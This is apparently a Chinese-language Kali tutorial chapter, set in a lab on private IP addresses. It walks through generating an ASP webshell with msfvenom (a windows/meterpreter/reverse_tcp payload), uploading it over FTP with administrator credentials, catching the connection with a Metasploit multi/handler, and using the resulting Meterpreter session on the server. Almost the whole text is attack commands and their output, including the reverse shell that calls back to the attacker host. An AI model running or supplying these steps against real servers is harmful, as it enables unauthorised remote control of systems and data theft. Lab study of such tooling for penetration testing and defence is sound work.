[置顶] kali攻防第13章 Metasploit之生成webshell及应用
Metasploit之生成webshell及应用
准备工具
1、kali 系统 IP 10.10.10.131
2、受害者机子 IP 10.10.10.130
3、使用工具 Metasploit
步骤：
1、在msf生成asp脚本木马
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.131 -f asp > shell.asp
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
上传shell.asp到受害者机子
root@kali:~# ftp
ftp> open 10.10.10.130
Connected to 10.10.10.130.
220 Microsoft FTP Service
Name (10.10.10.130:root): administrator
331 Password required for administrator.
Password:
230 User administrator logged in.
Remote system type is Windows_NT.
ftp> put shell.asp ---上传木马文件（注意这里要放到asp的根目录下）
2、登录msf控制台
root@kali:~# msfconsole
# cowsay++
____________
< metasploit >
------------
\ ,__,
\ (oo)____
(__) )\
||--|| *
Payload caught by AV? Fly under the radar with Dynamic Payloads in
Metasploit Pro -- learn more on http://rapid7.com/metasploit
=[ metasploit v4.11.5-2015103001 ]
+ -- --=[ 1500 exploits - 864 auxiliary - 251 post ]
+ -- --=[ 432 payloads - 37 encoders - 8 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
4、设置模块
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf exploit(handler) > set LHOST 10.10.10.131
LHOST => 10.10.10.131
5、执行exploit命令看结果
msf exploit(handler) > exploit
[*] Started reverse handler on 10.10.10.131:4444
[*] Starting the payload handler...
[*] Sending stage (885806 bytes) to 10.10.10.130
[*] Meterpreter session 1 opened (10.10.10.131:4444 -> 10.10.10.130:1769) at 2015-12-24 20:04:45 +0800
注意：这里需要执行一下网址：
http://10.10.10.130/shell.asp
这里已经成功侵入服务器
6、执行systeminfo命令
meterpreter > sysinfo
Computer : ROOT-TVI862UBEH
OS : Windows .NET Server (Build 3790).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 3
Meterpreter : x86/win32
7、侵入之后可以使用help查看相关命令